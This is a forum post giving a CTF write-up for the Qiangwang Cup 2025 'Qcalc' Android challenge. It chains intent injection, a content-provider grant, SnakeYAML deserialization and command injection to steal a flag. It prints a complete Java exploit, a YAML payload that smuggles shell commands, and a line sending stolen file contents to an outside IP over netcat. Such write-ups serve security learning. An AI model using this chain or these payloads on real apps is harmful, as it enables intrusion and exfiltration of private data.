首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
2
8
[原创]强网杯2025 Qcalc WriteUp
发表于: 2025-10-20 17:14
13993
[原创]强网杯2025 Qcalc WriteUp
Arahat0
1
2025-10-20 17:14
13993
## **分析漏洞** 首先是有个Intent注入,APP处理 `deep link` 的时候,如果表达式里包含 `"intent:"`,就会用 `Intent.parseUri()` 来解析。相当于给我们开了一个后门,可以往应用里注入恶意的 `Intent`。  而 `BridgeActivity` 这个组件本来是用来处理异常的,但是它有个问题,验证通过后会给攻击者授予 `Content Provider` 的访问权限,我们就可以通过这个来访问目标APP的私有目录,比如我们 `location /data/data/com.qinquang.calc/flag-xxxxxxxx.txt` 的 `flag` 和 `history.yml`。  最后是 `YAML` 反序列化漏洞,其实就是CVE-2022-1471 这里用了一个叫 `SnakeYAML` 的库来读取历史记录文件 `history.yml`。它直接就把 `YAML` 文件里的内容给反序列化了,完全不管里面装的是什么东西。我们可以在YAML文件里放一个的对象,当APP读取这个文件的时候,就会自动创建这个对象,然后执行里面的代码  这里有个很离谱的 `PingUtil` 类,直接把用户输入拼接到 `ping` 命令里,完全没有过滤,基本就是命令执行  ## **利用过程** 先构造一个恶意的 `Intent`,里面包含了 `bridge_token`(这个token是通过目标应用包名计算出来的)。然后把这个 `Intent` 编码后,通过deep link发送给目标应用。 目标应用收到后,发现表达式里包含 `"intent:"`,就会解析这个 `Intent` 并存储为 `fallback`(备用方案)。 ```java // 首次由用户启动:自动驱动全链路(存fallback -> 触发BridgeActivity) String token = computeBridgeToken(VICTIM_PKG); // 1) 存储回退 Intent(指向本 Activity,并携带 bridge_token) Intent fallback = new Intent(Intent.ACTION_VIEW); fallback.setClassName(getPackageName(), ExploitActivity.class.getName()); fallback.putExtra("bridge_token", token); String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME); String expr = Uri.encode(intentUri); Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length()); Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr)); deeplink.setPackage(VICTIM_PKG); Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink); startActivity(deeplink); ``` 然后等一会儿,发送一个除零的表达式 `(1/0)` 给目标应用。目标应用计算的时候会抛出异常,这个时候就会启动 `BridgeActivity` 来处理这个异常 ```java // 2) 稍作延迟后触发异常路径进入 BridgeActivity(授予 content://.../history.yml 读写并回调本 Activity) final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0")); trigger.setPackage(VICTIM_PKG); // 把 fallback 直接随触发 Intent 一起带上,避免因时序/实例导致 getIntent() 里没有该 extra trigger.putExtra("fallback", fallback); trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); final long delayMs = 1800L; Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() { @Override public void run() { startActivity(trigger); } }, delayMs); ``` `BridgeActivity` 检查 `fallback Intent`,验证 `token`,发现没问题,就给了我们 `Content Provider` 的访问权限,并且回调我们的应用  这个时候我们拿到权限后,就往 `history.yml` 文件里写入恶意的 `YAML` 内容。 ```java if (uriStr.endsWith("/history.yml")) { // 写入恶意 YAML String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity"); Log.i(TAG, "STEP4 write YAML begin: \n" + yaml); try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) { if (os == null) throw new IllegalStateException("openOutputStream returned null"); byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8); os.write(bytes); Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length); } ``` 如果我们往 `history.yml` 写一个对象,那么后续这个 `history.yml` 被 `loadHistory` 时就会触发反序列化,来执行这个代码  这个时候我们就可以写入 `PingUtil` 类来进行目标APP权限下的命令执行 其实到命令执行这一步当时很快就做到了,但是怎么利用这个来进行拿 `flag` 想了很久,试了很多方案 由于这题的打远程的过程是,我们上传 `APK` 给容器,然后容器自动安装运行,后面就什么都没了。所以说,`flag` 肯定是 `POC` 安装运行后发送的,而目标 `APP` 是没有网络权限的,那我们只能给我们的POC网络权限,然后想办法让 `POC` 去读到目标 `APP` 私有目录下的 `flag`,读到 `flag` 后直接发给我们服务器就行 那么我们解决问题的关键就在于,`POC` 的 `APP` 怎么去访问目标APP的私有目录 可以很容易想到的就是,利用 `BridgeActivity` 给我们的 `Content Provider` 的访问权限去访问,但是这里有几个问题: 我们此时虽然可以利用命令执行去操作 `flag`,比如 `mv` 操作,但是没有那种目标 `APP` 可以写,同时 `POC APP` 又可以读的公用目录。那 `cat` 呢,它也只是目标APP去读取,我的 `POC` 并没有读到,因为这个命令执行是目标 `APP` 发起的,而不是我们的 `POC` **PS:如果不知道一个 `APP` 权限的 `shell` 能干嘛,可以 `run-as` 切换进去试试** 后面突然发现 `BridgeActivity` 是给我授予了对 `history.yml` 的读写权限的,那我直接把`flag`的内容覆写到 `history.yml` ,然后读取不就完了? 与之而来的下一个问题就是,在正常的逻辑运行时, `loadHistory` 读取解析并真正执行了我们的覆写命令之后,会执行 `saveHistory` 将正常计算重新覆盖 `history.yml` **综上结论就是:** **授权是短暂的**,`BridgeActivity` 通过 `FLAG_GRANT_READ/WRITE_URI_PERMISSION` 临时把 `content://.../history.yml` 授权给我,这种 URI 授权通常随“这次回调/这条任务链”有效,`Activity` 结束或进程状态变化后可能失效。所以要在回调同一时序窗口内尽快读取。 **文件内容是刚被覆盖的**,恶意 `YAML` 触发的命令先把 `flag` 覆盖到 `history.yml`,我需要在“覆盖完成之后、被其他逻辑再次写回/清空之前”读取,才能拿到 `flag`。这就需要在触发正常计算后稍等一小会儿再读。 那么这个**稍微等一小会的**就需要我们慢慢去测试 测试方法也很简单: 如果读取服务器收到的内容是我们写入的恶意 `yml`,就说明命令还没执行,间隔太短 如果读取服务器读到的内容是一个正常的计算公式,就说明 `yml` 已经二次覆盖掉了,间隔太长 然后测去不断缩小延时的区间就可以了 当时本地测通了,一开始打远程的时候,我服务器啥回显都没有,后面莫名其妙又有了,过了一会莫名其妙又没了。远程的容器当时还满了,挺搞心态的,远程都打了我半个小时 ```java // 快速触发 2+2 让受害端执行 loadHistory()->PingUtil final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2")); run.setPackage(VICTIM_PKG); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100); // 抢时间窗读取同一 grantedUri(本次回调自带授权) final Uri grantedUri = dataUri; new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> { new Thread(() -> { try { StringBuilder sb = new StringBuilder(); try (InputStream is = getContentResolver().openInputStream(grantedUri); InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8); BufferedReader br = new BufferedReader(ir)) { String line; while ((line = br.readLine()) != null) sb.append(line); } String flagText = sb.toString(); Log.i(TAG, "STEP5 read history.yml:\n" + flagText); String safe = flagText.replace("'", "'\\''"); String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666"; execShellCommand(cmd, "nc"); } catch (Exception e) { Log.e(TAG, "readInline error: " + e); } }).start(); }, 550); // 就是这个得慢慢测!!! ``` ## EXP ```java package com.attacker; import android.app.Activity; import android.content.ContentResolver; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Log; import java.io.InputStream; import java.io.InputStreamReader; import java.io.BufferedReader; import java.io.OutputStream; import java.io.File; import java.io.FileOutputStream; import java.nio.charset.StandardCharsets; public class ExploitActivity extends Activity { private static final String TAG = "Exploit"; private static final String VICTIM_PKG = "com.qinquang.calc"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent in = getIntent(); Log.i(TAG, "LAUNCH in=" + in); Uri dataUri = in != null ? in.getData() : null; if (dataUri == null) { // 首次由用户启动:自动驱动全链路(存fallback -> 触发BridgeActivity) try { String token = computeBridgeToken(VICTIM_PKG); // 1) 存储回退 Intent(指向本 Activity,并携带 bridge_token) Intent fallback = new Intent(Intent.ACTION_VIEW); fallback.setClassName(getPackageName(), ExploitActivity.class.getName()); fallback.putExtra("bridge_token", token); String intentUri = fallback.toUri(Intent.URI_INTENT_SCHEME); String expr = Uri.encode(intentUri); Log.i(TAG, "STEP1 store fallback, intentUriLen=" + intentUri.length()); Intent deeplink = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=" + expr)); deeplink.setPackage(VICTIM_PKG); Log.i(TAG, "STEP1 start deeplink to victim (store fallback) -> " + deeplink); startActivity(deeplink); // 2) 稍作延迟后触发异常路径进入 BridgeActivity(授予 content://.../history.yml 读写并回调本 Activity) final Intent trigger = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=1%2F0")); trigger.setPackage(VICTIM_PKG); // 把 fallback 直接随触发 Intent 一起带上,避免因时序/实例导致 getIntent() 里没有该 extra trigger.putExtra("fallback", fallback); trigger.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP); trigger.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); final long delayMs = 1800L; Log.i(TAG, "STEP2 schedule divide-by-zero trigger after " + delayMs + "ms -> " + trigger); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(new Runnable() { @Override public void run() { startActivity(trigger); } }, delayMs); } catch (Exception e) { Log.e(TAG, "Bootstrap error: " + e); } finally { // 等待 BridgeActivity 回调本 Activity(第二次启动) finish(); } return; } // 第二次由受害端回调 try { Log.i(TAG, "STEP3 callback with dataUri=" + dataUri); String uriStr = String.valueOf(dataUri); Log.i(TAG, "uriStr=" + uriStr); if (uriStr.endsWith("/history.yml")) { // 写入恶意 YAML(受害端解析后将 flag 覆盖写入 history.yml) String yaml = buildEvilYaml("com.attacker", "com.attacker.ExploitActivity"); Log.i(TAG, "STEP4 write YAML begin: \n" + yaml); try (OutputStream os = getContentResolver().openOutputStream(dataUri, "w")) { if (os == null) throw new IllegalStateException("openOutputStream returned null"); byte[] bytes = yaml.getBytes(StandardCharsets.UTF_8); os.write(bytes); Log.i(TAG, "STEP4 write YAML done, bytes=" + bytes.length); } // 快速触发 2+2 让受害端执行 loadHistory()->PingUtil final Intent run = new Intent(Intent.ACTION_VIEW, Uri.parse("qiangcalc://calculate?expression=2%2B2")); run.setPackage(VICTIM_PKG); new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> startActivity(run), 100); // 抢时间窗读取同一 grantedUri(本次回调自带授权) final Uri grantedUri = dataUri; new android.os.Handler(android.os.Looper.getMainLooper()).postDelayed(() -> { new Thread(() -> { try { StringBuilder sb = new StringBuilder(); try (InputStream is = getContentResolver().openInputStream(grantedUri); InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8); BufferedReader br = new BufferedReader(ir)) { String line; while ((line = br.readLine()) != null) sb.append(line); } String flagText = sb.toString(); Log.i(TAG, "STEP5 read history.yml:\n" + flagText); String safe = flagText.replace("'", "'\\''"); String cmd = "printf '%s' '" + safe + "' | nc 111.229.198.6 6666"; execShellCommand(cmd, "nc"); } catch (Exception e) { Log.e(TAG, "readInline error: " + e); } }).start(); }, 550); } } catch (Exception e) { Log.e(TAG, "Exploit error: " + e); } finally { // 等待延时任务完成读取后由系统回收 } } private static String buildEvilYaml(String pkg, String cls) { String src = "/data/data/com.qinquang.calc/flag*"; // 覆盖写入两处:files/history.yml 与 files/flag.txt,然后内部启动 HistoryActivity 触发 load String yaml = "- !!com.qinquang.calc.PingUtil |\n" + " 127.0.0.1; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/history.yml; /system/bin/cat " + src + " > /data/data/com.qinquang.calc/files/flag.txt\n"; return yaml; } private void execShellCommand(String cmd, String prefix) { Process proc = null; BufferedReader reader = null; try { Log.i(TAG, prefix + " start: " + cmd); proc = new ProcessBuilder("/system/bin/sh", "-c", cmd) .redirectErrorStream(true) .start(); reader = new BufferedReader(new InputStreamReader(proc.getInputStream())); String line; while ((line = reader.readLine()) != null) { Log.i(TAG, prefix + " | " + line); } int code = proc.waitFor(); Log.i(TAG, prefix + " exit=" + code); } catch (Exception e) { Log.e(TAG, prefix + " error: " + e); } finally { try { if (reader != null) reader.close(); } catch (Exception ignore) {} if (proc != null) proc.destroy(); } } private static String computeBridgeToken(String packageName) throws Exception { java.security.MessageDigest md = java.security.MessageDigest.getInstance("SHA-256"); byte[] hash = md.digest(packageName.getBytes(StandardCharsets.UTF_8)); StringBuilder sb = new StringBuilder(); for (int i = 0; i < 8; i++) { sb.append(String.format("%02x", hash[i])); } return sb.toString(); } } ``` 玩挺开心的,可惜最后还是没打进线下捏~
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
最后于
2025-10-22 01:24 被Arahat0编辑 ,原因:
#Reverse
#Pwn
#Misc
收藏
・
2
点赞
・
8
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
你的分享对大家帮助很大,非常感谢!
2026-7-16 08:48
trackL
感谢你的积极参与,期待更多精彩内容!
2025-10-31 13:38
道友请留步
这个讨论对我很有帮助,谢谢!
2025-10-29 10:50
mb_qsiyccce
你的分享对大家帮助很大,非常感谢!
2025-10-27 18:42
山顶冻人
期待更多优质内容的分享,论坛有你更精彩!
2025-10-26 18:46
风兮木晓
谢谢你的细致分析,受益匪浅!
2025-10-21 22:07
lrhtony
这个讨论对我很有帮助,谢谢!
2025-10-21 17:08
mb_vrkpxsoe
感谢你分享这么好的资源!
2025-10-21 11:35
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
Alnilam
雪 币:
220
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
3
粉丝
0
关注
私信
Alnilam
2
楼
芥末强
2025-10-21 20:59
0
XiaozaYa
雪 币:
5920
活跃值:
(4175)
能力值:
( LV9,RANK:250 )
在线值:
发帖
16
回帖
62
粉丝
65
关注
私信
XiaozaYa
5
3
楼
你可以在利用一次intent重定向到HistoryActivity就可以避免调用saveHistory导致flag被覆盖了
2025-10-22 10:53
1
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Arahat0
1
6
发帖
18
回帖
100
RANK
关注
私信
他的文章
[原创]强网杯2025 Qcalc WriteUp
13993
[原创]针对 Exif 手写一个模糊测试器
8219
[原创]通过BLECTF入门BLE
12565
[原创]常见的固件加解密方式与D-Link固件解密实战分析
15716
[原创]CVE-2022-2588 Dirty Cred漏洞分析与复现
14821
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部